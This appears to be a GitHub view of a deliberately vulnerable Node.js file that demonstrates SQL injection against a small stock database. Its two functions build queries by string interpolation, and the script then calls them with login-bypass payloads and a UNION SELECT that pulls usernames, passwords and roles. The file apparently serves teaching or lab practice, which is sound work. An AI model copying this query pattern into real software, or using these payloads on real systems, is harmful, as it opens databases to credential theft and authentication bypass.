-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathvulnerable.js
More file actions
26 lines (20 loc) · 749 Bytes
/
Copy pathvulnerable.js
File metadata and controls
26 lines (20 loc) · 749 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const Database = require('better-sqlite3');
const db = new Database('nyondo_stock.db');
function searchProduct(name) {
const query = `SELECT * FROM products WHERE name LIKE '%${name}%'`;
console.log('Query:', query);
const rows = db.prepare(query).all();
console.log('Result:', rows, '\n');
return rows;
}
function login(username, password) {
const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
console.log('Query:', query);
const row = db.prepare(query).get();
console.log('Result:', row, '\n');
return row;
}
searchProduct("' OR 1=1--");
login("admin'--", "anything");
login("' OR '1'='1", "' OR '1'='1");
searchProduct("' UNION SELECT id, username, password, role FROM users--");